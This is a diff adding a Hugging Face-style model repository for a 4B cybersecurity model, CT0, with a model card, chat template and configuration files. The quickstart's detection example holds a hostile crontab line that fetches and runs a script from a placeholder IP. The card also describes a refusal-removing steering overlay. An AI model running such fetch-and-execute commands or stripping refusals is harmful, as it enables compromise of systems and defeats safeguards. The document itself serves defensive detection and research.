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@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 *.zip filter=lfs diff=lfs merge=lfs -text
 *.zst filter=lfs diff=lfs merge=lfs -text
 *tfevents* filter=lfs diff=lfs merge=lfs -text
+tokenizer.json filter=lfs diff=lfs merge=lfs -text

README.md

@@ -0,0 +1,233 @@
+---
+license: apache-2.0
+language:
+- en
+base_model:
+- Qwen/Qwen3.5-4B
+pipeline_tag: text-generation
+library_name: transformers
+tags:
+- cybersecurity
+- security
+- dual-system
+- decision-head
+- agent
+- ct0
+- system-1
+- system-2
+---
+
+<div align="center">
+
+# 🛡️ alias3-micro &nbsp;·&nbsp; CT0
+
+### A 4B **Cybersecurity Transformer** that thinks fast *and* slow — from one set of weights
+
+**⚠️ Research preview** — this model is a research artifact; **weights may change at any point in time** as performance bugs get fixed. This checkpoint also carries deliberate modifications that favour research contribution. Further checkpoints and releases are in progress.
+
+*One prefill answers a typed security question with a calibrated probability and **zero tokens decoded**;*
+*the same weights also run as a full tool-using agent. A confidence gate spends generation only when the fast path is unsure.*
+
+[![Paper](https://img.shields.io/badge/📄_Paper-CT0:_Cybersecurity_Transformer-2E6260?style=for-the-badge)](#-citation)
+[![Base](https://img.shields.io/badge/base-Qwen3.5--4B-4C9A99?style=for-the-badge)](https://huggingface.co/Qwen/Qwen3.5-4B)
+[![Params](https://img.shields.io/badge/params-4B_·_bf16-1F4E8C?style=for-the-badge)](#)
+[![Modes](https://img.shields.io/badge/modes-System_1_+_System_2-0CA30C?style=for-the-badge)](#-two-minds-one-model)
+
+<br>
+
+<img src="assets/hero.png" alt="Cybench-Subtask: alias3-micro vs open and frontier references" width="560">
+
+**21.1 %** on the agentic `cybench-subtask` benchmark — **2.8× its own base**, and above every open model of comparable footprint.
+
+</div>
+
+---
+
+## ⚡ TL;DR
+
+**alias3-micro** is the first incarnation of **CT0**, a cybersecurity-specialist transformer built on `Qwen3.5-4B`
+and post-trained on the proprietary **Cybersecurity AI (CAI) dataset**. It serves two modes from a *single* merged
+weight set:
+
+- **System 1** — a bilinear *decision head* answers typed security questions (*is this file an indicator of compromise? is this request an attack? did the model just refuse?*) in **one forward pass, decoding nothing**, returning a **calibrated probability**.
+- **System 2** — the usual autoregressive agent: native tool calls, shell, multi-step reasoning.
+- **The gate** — a threshold on System 1's confidence escalates only the uncertain cases to System 2.
+
+The result: detection-grade security judgements at **tens of milliseconds**, an agent when you actually need one, and
+the **highest cybersecurity capability per parameter** of any model we measured.
+
+| | |
+|---|---|
+| 🥇 **Densest** cybersecurity capability per parameter in its class | 🔎 Screens **80–82 files/s** for indicators of compromise |
+| 🧠 Refusal detection **96.5 %** in 47 ms (self-judging: 76.5 % in 254 ms) | 🪤 Jailbreak-request screening at **AUROC 0.966** in 8 ms |
+| 💸 Built in **≈314 GPU-hours** on one workstation | 🔒 No policy layer between operator and target — runs fully local |
+
+---
+
+## 🧭 Benchmarks
+
+### Agentic capability — `cybench-subtask` (40 CTF challenges → 171 subtasks, pass@1, fixed budget, thinking off)
+
+Each model's strongest single-attempt campaign under a small, disclosed budget — the opposite of an unbounded best-of-*k*.
+
+| Model | Params | Format | Cybench-Subtask |
+|---|---:|:---:|---:|
+| **🟢 alias3-micro (CT0)** | **4B** | **bf16** | **21.1 %** |
+| Qwen3.5-4B *(base)* | 4B | BF16 | 7.6 % |
+| Gemma-4 E4B | 8B | BF16 | 12.7 % |
+| Bonsai 2 *(ternary)* | 27B | 1.75-bit | 8.2 % |
+| Kolibri-1 | 78B | FP8 | 5.3 % |
+| *alias3-mini* ↗ | *30B* | *FP8* | *40.9 %* |
+| *alias3-max* ↗ | *800B* | *FP8* | *56.1 %* |
+| *Mistral Large 4* | *1T* | *API* | *54.4 %* |
+| *Opus-5.5* | *—* | *API* | *29.2 %* |
+
+<sup>Italic rows are larger references; `↗` marks the larger members of the alias lineage. See the paper for the full protocol and hosted-reference conditions.</sup>
+
+### The fast path wins where it matters — System 1 vs System 2 vs the cascade
+
+<div align="center">
+<img src="assets/modes.png" alt="CT0's three arms across every security task" width="820">
+</div>
+
+**Detection-style decisions** are a System-1 job — faster *and* better than the model judging its own output:
+
+| Task | System 1 (head) | System 2 (generation) | Why it matters |
+|---|:---:|:---:|---|
+| Refusal detection (accuracy) | **96.5 %** · 47 ms | 76.5 % · 254 ms | self-judging misses ~half of refusals |
+| Jailbreak-request detection (AUROC) | **0.966** · 8 ms | — | cheap enough to screen *every* request |
+| Tool-call info-flow labels (accuracy) | **80.6 %** · 12 ms | 75.2 % *(9-shot)* · 27 ms | dangerous-call recall at its own threshold |
+| Phishing triage (balanced accuracy) | **92.5 %** · 61 ms | 60.1 % · 635 ms | typed signals dominate generation |
+| IOC file screening | **80–82 files/s** | — | unaffected by concurrent generation |
+
+**Composition** pays where the two modes err on different cases — the calibrated gate buys accuracy at a fraction of the cost:
+
+| Task | Metric | Best arm |
+|---|---|---|
+| Secure-code review (OWASP Java) | **90.2 %** balanced accuracy, generating for 36 % of cases | cascade |
+| Typed-fact extraction | **48.3 %** exact match (vs 43.4 / 38.0 alone) at **⅕** the generative cost | selective repair |
+| Pentest findings | complementary: S2 adjudicates, S1 prunes (recall 61.3 vs 22.6) | cascade |
+
+<sup>Calibration: one fitted temperature gives **ECE 0.052** on the transfer set. All numbers from the CT0 paper's evidence matrix; every benchmark is run end-to-end with this exact checkpoint and head.</sup>
+
+---
+
+## 📐 Cybersecurity intelligence density
+
+The headline isn't the raw score — it's the score *per parameter*. Normalised by scale, the alias models lead the field,
+and the **4 B specialist is first**.
+
+<div align="center">
+<img src="assets/density.png" alt="Cybersecurity intelligence density — score per decade of parameters" width="560">
+
+<sub>CID = Cybench-Subtask score ÷ log₁₀(1 + N·10⁹). A plain per-parameter ratio would reward only the tiniest models; the log form reads how much security capability each order of magnitude of parameters buys.</sub>
+</div>
+
+---
+
+## 🧠 Two minds, one model
+
+<details>
+<summary><b>Architecture — click to expand the full deployment diagram</b></summary>
+
+<br>
+<div align="center">
+<img src="assets/arch.png" alt="CT0 architecture, as deployed" width="960">
+</div>
+
+</details>
+
+CT0 keeps the hybrid `Qwen3.5-4B` backbone (32 layers, 24 Gated-DeltaNet interleaved with 8 Gated-Attention, SwiGLU
+feed-forward, 248,320-token tied embedding) and adds six elements around the unchanged tensors:
+
+1. **Typed decision interface** — marker tokens (`<state> … <q> … <opt>…</opt> … <decide>`) pose a security question over options, no vocabulary change.
+2. **Specialised weights** — the backbone, taught security by two-phase on-policy distillation on the CAI dataset.
+3. **Decision adapter** — a rank-16 LoRA fused into those weights, so one weight set serves both modes.
+4. **Bilinear pointer head** — 1.3 M parameters; reads the hidden states at the markers and returns one calibrated probability per option during prefill, decoding nothing.
+5. **Escalation gate** — a threshold on the System-1 probability routes only uncertain cases to System 2.
+6. **Native dual-mode serving** — one process, two endpoints, sharing the attention KV and recurrent-state prefix caches.
+
+Two optional, reversible **steering overlays** (off by default) complete the design: a runtime refusal-direction
+projection for authorised de-refusal, and an activation-steering direction. Both are described in the paper
+(§ *Refusal Detection and Dynamic De-Refusal*).
+
+---
+
+## 🚀 Quickstart
+
+The weights serve **System 2** on any standard stack (`transformers`, `vllm`, `sglang`) with `trust_remote_code`.
+The native **System 1** endpoint (`/v1/systemone`) uses the CSI SGLang fork with `--systemone-head` — available from
+Alias Robotics.
+
+```bash
+# the model — weights, pointer head and tokenizer — is this repo
+pip install -U "huggingface_hub[cli]"
+hf download aliasrobotics/alias3-micro-1026 --local-dir alias3-micro-1026 && cd alias3-micro-1026
+```
+
+```bash
+# serve both modes from one process (reference: 1× GPU ≥ 20 GB)
+python3 -m sglang.launch_server --model-path . --served-model-name ct0 \
+  --host 0.0.0.0 --port 30000 --dtype bfloat16 --trust-remote-code \
+  --tool-call-parser qwen3_coder --reasoning-parser qwen3 \
+  --chunked-prefill-size 2048 --systemone-head ./head.pt
+```
+
+```bash
+# System 1 — one typed decision, one prefill, zero tokens decoded
+curl -s localhost:30000/v1/systemone -H 'Content-Type: application/json' -d '{
+  "model": "ct0",
+  "state": "path: /etc/cron.d/backup\ncontent: */5 * * * * root curl http://198.51.100.7/x.sh | bash",
+  "questions": {"ioc": {"type": "noul",
+    "instructions": "Is this file a suspicious indicator of compromise on this system?"}}}'
+# -> {"answers": {"ioc": {"type": "noul", "noul": 0.91}}}
+
+# System 2 — ordinary chat / native tool calls
+curl -s localhost:30000/v1/chat/completions -H 'Content-Type: application/json' -d '{
+  "model": "ct0", "messages": [{"role": "user", "content": "Audit this crontab for persistence."}],
+  "chat_template_kwargs": {"enable_thinking": false}}'
+```
+
+Question types: `noul` (yes/no probability), `choice` (one per option with a `criteria` map), `score` (ordinal 1..K).
+Choice confidence is `(p_max − 1/K)/(1 − 1/K)`. The head temperature is fitted out-of-distribution — **do not re-fit on your own labels.**
+
+---
+
+## 🎯 Intended use & limitations
+
+**Intended for** authorised defensive and offensive security work by practitioners: triage and detection (refusals,
+jailbreaks, IOCs, risky tool calls), finding prioritisation, secure-code review, and agentic CTF-style tasks — run
+locally, privately, under the operator's control.
+
+This release is one stage of an ongoing research line, and it exists to be used and stress-tested. In turn, we
+draw on community feedback and usage data to understand how the model performs in practice and guide the next
+stage of our research.
+
+**Limitations.** System-1 thresholds are calibrated on fixtures and must be revalidated on your deployment
+distribution. Detector metrics are not attack-success rates and do not test adaptive attackers. Several evaluation
+corpora are small or constructed; none is a live engagement. Specialisation does not confer prompt-injection
+resistance. See the paper's discussion for the full accounting of what the evidence does and does not support.
+
+**Safety.** This is a dual-use security tool. Use only on systems and engagements you are authorised to assess.
+
+---
+
+## 📎 Citation
+
+> 📄 **[CT0: Cybersecurity Transformer — arXiv:2610.16550](https://arxiv.org/abs/2610.16550)** · [PDF](https://arxiv.org/pdf/2610.16550) · Alias Robotics, 2026.
+
+```bibtex
+@article{ct0_2026,
+  title   = {{CT0}: Cybersecurity Transformer},
+  author  = {Mayoral-Vilches, V{\'i}ctor and {Alias Robotics}},
+  journal = {arXiv preprint arXiv:2610.16550},
+  year    = {2026},
+  url     = {https://arxiv.org/abs/2610.16550}
+}
+```
+
+---
+
+<div align="center">
+<sub>Built by <a href="https://aliasrobotics.com">Alias Robotics</a> · trained on the CAI dataset · served from one workstation GPU, no policy layer between operator and target.</sub>
+</div>

chat_template.jinja

@@ -0,0 +1,158 @@
+{%- set image_count = namespace(value=0) %}
+{%- set video_count = namespace(value=0) %}
+{%- macro render_content(content, do_vision_count, is_system_content=false) %}
+    {%- if content is string %}
+        {{- content }}
+    {%- elif content is iterable and content is not mapping %}
+        {%- for item in content %}
+            {%- if 'image' in item or 'image_url' in item or item.type == 'image' %}
+                {%- if is_system_content %}
+                    {{- raise_exception('System message cannot contain images.') }}
+                {%- endif %}
+                {%- if do_vision_count %}
+                    {%- set image_count.value = image_count.value + 1 %}
+                {%- endif %}
+                {%- if add_vision_id %}
+                    {{- 'Picture ' ~ image_count.value ~ ': ' }}
+                {%- endif %}
+                {{- '<|vision_start|><|image_pad|><|vision_end|>' }}
+            {%- elif 'video' in item or item.type == 'video' %}
+                {%- if is_system_content %}
+                    {{- raise_exception('System message cannot contain videos.') }}
+                {%- endif %}
+                {%- if do_vision_count %}
+                    {%- set video_count.value = video_count.value + 1 %}
+                {%- endif %}
+                {%- if add_vision_id %}
+                    {{- 'Video ' ~ video_count.value ~ ': ' }}
+                {%- endif %}
+                {{- '<|vision_start|><|video_pad|><|vision_end|>' }}
+            {%- elif 'text' in item %}
+                {{- item.text }}
+            {%- else %}
+                {{- raise_exception('Unexpected item type in content.') }}
+            {%- endif %}
+        {%- endfor %}
+    {%- elif content is none or content is undefined %}
+        {{- '' }}
+    {%- else %}
+        {{- raise_exception('Unexpected content type.') }}
+    {%- endif %}
+{%- endmacro %}
+{%- if not messages %}
+    {{- raise_exception('No messages provided.') }}
+{%- endif %}
+{%- set num_sys = 0 %}
+{%- set merged_system = '' %}
+{%- if messages[0].role == 'system' or messages[0].role == 'developer' %}
+    {%- set first = render_content(messages[0].content, false, true)|trim %}
+    {%- if messages|length > 1 and (messages[1].role == 'system' or messages[1].role == 'developer') %}
+        {%- set second = render_content(messages[1].content, false, true)|trim %}
+        {%- set merged_system = first + '\n' + second %}
+        {%- set num_sys = 2 %}
+    {%- else %}
+        {%- set merged_system = first %}
+        {%- set num_sys = 1 %}
+    {%- endif %}
+{%- endif %}
+{%- if tools and tools is iterable and tools is not mapping %}
+    {{- '<|im_start|>system\n' }}
+    {{- "# Tools\n\nYou have access to the following functions:\n\n<tools>" }}
+    {%- for tool in tools %}
+        {{- "\n" }}
+        {{- tool | tojson }}
+    {%- endfor %}
+    {{- "\n</tools>" }}
+    {{- '\n\nIf you choose to call a function ONLY reply in the following format with NO suffix:\n\n<tool_call>\n<function=example_function_name>\n<parameter=example_parameter_1>\nvalue_1\n</parameter>\n<parameter=example_parameter_2>\nThis is the value for the second parameter\nthat can span\nmultiple lines\n</parameter>\n</function>\n</tool_call>\n\n<IMPORTANT>\nReminder:\n- Function calls MUST follow the specified format: an inner <function=...></function> block must be nested within <tool_call></tool_call> XML tags\n- Required parameters MUST be specified\n- You may provide optional reasoning for your function call in natural language BEFORE the function call, but NOT after\n- If there is no function call available, answer the question like normal with your current knowledge and do not tell the user about function calls\n</IMPORTANT>' }}
+    {%- if merged_system %}
+        {{- '\n\n' + merged_system }}
+    {%- endif %}
+    {{- '<|im_end|>\n' }}
+{%- else %}
+    {%- if merged_system %}
+        {{- '<|im_start|>system\n' + merged_system + '<|im_end|>\n' }}
+    {%- endif %}
+{%- endif %}
+{%- set ns = namespace(multi_step_tool=true, last_query_index=messages|length - 1) %}
+{%- for message in messages[::-1] %}
+    {%- set index = (messages|length - 1) - loop.index0 %}
+    {%- if ns.multi_step_tool and message.role == "user" %}
+        {%- set content = render_content(message.content, false)|trim %}
+        {%- if not(content.startswith('<tool_response>') and content.endswith('</tool_response>')) %}
+            {%- set ns.multi_step_tool = false %}
+            {%- set ns.last_query_index = index %}
+        {%- endif %}
+    {%- endif %}
+{%- endfor %}
+{%- for message in messages %}
+    {%- if loop.index0 >= num_sys and message.role != "system" and message.role != "developer" %}
+    {%- set content = render_content(message.content, true)|trim %}
+    {%- if message.role == "user" %}
+        {{- '<|im_start|>' + message.role + '\n' + content + '<|im_end|>' + '\n' }}
+    {%- elif message.role == "assistant" %}
+        {%- set reasoning_content = '' %}
+        {%- if message.reasoning_content is string %}
+            {%- set reasoning_content = message.reasoning_content %}
+        {%- else %}
+            {%- if '</think>' in content %}
+                {%- set reasoning_content = content.split('</think>')[0].rstrip('\n').split('<think>')[-1].lstrip('\n') %}
+                {%- set content = content.split('</think>')[-1].lstrip('\n') %}
+            {%- endif %}
+        {%- endif %}
+        {%- set reasoning_content = reasoning_content|trim %}
+        {%- if loop.index0 > ns.last_query_index %}
+            {{- '<|im_start|>' + message.role + '\n<think>\n' + reasoning_content + '\n</think>\n\n' + content }}
+        {%- else %}
+            {{- '<|im_start|>' + message.role + '\n' + content }}
+        {%- endif %}
+        {%- if message.tool_calls and message.tool_calls is iterable and message.tool_calls is not mapping %}
+            {%- for tool_call in message.tool_calls %}
+                {%- if tool_call.function is defined %}
+                    {%- set tool_call = tool_call.function %}
+                {%- endif %}
+                {%- if loop.first %}
+                    {%- if content|trim %}
+                        {{- '\n\n<tool_call>\n<function=' + tool_call.name + '>\n' }}
+                    {%- else %}
+                        {{- '<tool_call>\n<function=' + tool_call.name + '>\n' }}
+                    {%- endif %}
+                {%- else %}
+                    {{- '\n<tool_call>\n<function=' + tool_call.name + '>\n' }}
+                {%- endif %}
+                {%- if tool_call.arguments is mapping %}
+                    {%- for args_name in tool_call.arguments %}
+                        {%- set args_value = tool_call.arguments[args_name] %}
+                        {{- '<parameter=' + args_name + '>\n' }}
+                        {%- set args_value = args_value | tojson | safe if args_value is mapping or (args_value is sequence and args_value is not string) else args_value | string %}
+                        {{- args_value }}
+                        {{- '\n</parameter>\n' }}
+                    {%- endfor %}
+                {%- endif %}
+                {{- '</function>\n</tool_call>' }}
+            {%- endfor %}
+        {%- endif %}
+        {{- '<|im_end|>\n' }}
+    {%- elif message.role == "tool" %}
+        {%- if loop.previtem and loop.previtem.role != "tool" %}
+            {{- '<|im_start|>user' }}
+        {%- endif %}
+        {{- '\n<tool_response>\n' }}
+        {{- content }}
+        {{- '\n</tool_response>' }}
+        {%- if not loop.last and loop.nextitem.role != "tool" %}
+            {{- '<|im_end|>\n' }}
+        {%- elif loop.last %}
+            {{- '<|im_end|>\n' }}
+        {%- endif %}
+    {%- endif %}
+    {%- endif %}
+{%- endfor %}
+{%- if add_generation_prompt %}
+    {{- '<|im_start|>assistant\n' }}
+    {%- if enable_thinking is defined and enable_thinking is false %}
+        {{- '<think>\n\n</think>\n\n' }}
+    {%- else %}
+        {{- '<think>\n' }}
+    {%- endif %}
+{%- endif %}
+{#- Unsloth fixes - developer role, tool calling #}

config.json

@@ -0,0 +1,83 @@
+{
+  "architectures": [
+    "Qwen3_5ForCausalLM"
+  ],
+  "attention_bias": false,
+  "attention_dropout": 0.0,
+  "attn_output_gate": true,
+  "bos_token_id": null,
+  "dtype": "bfloat16",
+  "eos_token_id": 248046,
+  "full_attention_interval": 4,
+  "head_dim": 256,
+  "hidden_act": "silu",
+  "hidden_size": 2560,
+  "initializer_range": 0.02,
+  "intermediate_size": 9216,
+  "layer_types": [
+    "linear_attention",
+    "linear_attention",
+    "linear_attention",
+    "full_attention",
+    "linear_attention",
+    "linear_attention",
+    "linear_attention",
+    "full_attention",
+    "linear_attention",
+    "linear_attention",
+    "linear_attention",
+    "full_attention",
+    "linear_attention",
+    "linear_attention",
+    "linear_attention",
+    "full_attention",
+    "linear_attention",
+    "linear_attention",
+    "linear_attention",
+    "full_attention",
+    "linear_attention",
+    "linear_attention",
+    "linear_attention",
+    "full_attention",
+    "linear_attention",
+    "linear_attention",
+    "linear_attention",
+    "full_attention",
+    "linear_attention",
+    "linear_attention",
+    "linear_attention",
+    "full_attention"
+  ],
+  "linear_conv_kernel_dim": 4,
+  "linear_key_head_dim": 128,
+  "linear_num_key_heads": 16,
+  "linear_num_value_heads": 32,
+  "linear_value_head_dim": 128,
+  "mamba_ssm_dtype": "float32",
+  "max_position_embeddings": 262144,
+  "mlp_only_layers": [],
+  "model_type": "qwen3_5_text",
+  "mtp_num_hidden_layers": 1,
+  "mtp_use_dedicated_embeddings": false,
+  "num_attention_heads": 16,
+  "num_hidden_layers": 32,
+  "num_key_value_heads": 4,
+  "pad_token_id": 248055,
+  "partial_rotary_factor": 0.25,
+  "rms_norm_eps": 1e-06,
+  "rope_parameters": {
+    "mrope_interleaved": true,
+    "mrope_section": [
+      11,
+      11,
+      10
+    ],
+    "partial_rotary_factor": 0.25,
+    "rope_theta": 10000000,
+    "rope_type": "default"
+  },
+  "tie_word_embeddings": true,
+  "transformers_version": "5.17.0",
+  "use_cache": false,
+  "vocab_size": 248320
+}

generation_config.json

@@ -0,0 +1,10 @@
+{
+  "_from_model_config": true,
+  "eos_token_id": [
+    248046,
+    248044
+  ],
+  "pad_token_id": 248055,
+  "transformers_version": "5.17.0",
+  "use_cache": true
+}

head.pt

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:0defc2ff15e6aa7970fb6fa83d9ed35752f4728f671b259c995e38e44462b7c3
+size 4961280

model.safetensors

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+version https://git-lfs.github.com/spec/v1
+oid sha256:062756404947caffee60cb1cc399b5c0ff33782abbb4ce3fc100d23e8020a6c1
+size 8411552008

tokenizer.json

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:06b9509352d2af50381ab2247e083b80d32d5c0aba91c272ca9ff729b6a0e523
+size 19989325

tokenizer_config.json

@@ -0,0 +1,34 @@
+{
+  "add_prefix_space": false,
+  "audio_bos_token": "<|audio_start|>",
+  "audio_eos_token": "<|audio_end|>",
+  "audio_token": "<|audio_pad|>",
+  "backend": "tokenizers",
+  "bos_token": null,
+  "clean_up_tokenization_spaces": false,
+  "eos_token": "<|im_end|>",
+  "errors": "replace",
+  "image_token": "<|image_pad|>",
+  "is_local": true,
+  "local_files_only": false,
+  "model_max_length": 262144,
+  "model_specific_special_tokens": {
+    "audio_bos_token": "<|audio_start|>",
+    "audio_eos_token": "<|audio_end|>",
+    "audio_token": "<|audio_pad|>",
+    "image_token": "<|image_pad|>",
+    "video_token": "<|video_pad|>",
+    "vision_bos_token": "<|vision_start|>",
+    "vision_eos_token": "<|vision_end|>"
+  },
+  "pad_token": "<|vision_pad|>",
+  "padding_side": "left",
+  "pretokenize_regex": "(?i:'s|'t|'re|'ve|'m|'ll|'d)|[^\\r\\n\\p{L}\\p{N}]?[\\p{L}\\p{M}]+|\\p{N}| ?[^\\s\\p{L}\\p{M}\\p{N}]+[\\r\\n]*|\\s*[\\r\\n]+|\\s+(?!\\S)|\\s+",
+  "processor_class": "Qwen3VLProcessor",
+  "split_special_tokens": false,
+  "tokenizer_class": "Qwen2Tokenizer",
+  "unk_token": null,
+  "video_token": "<|video_pad|>",
+  "vision_bos_token": "<|vision_start|>",
+  "vision_eos_token": "<|vision_end|>"
+}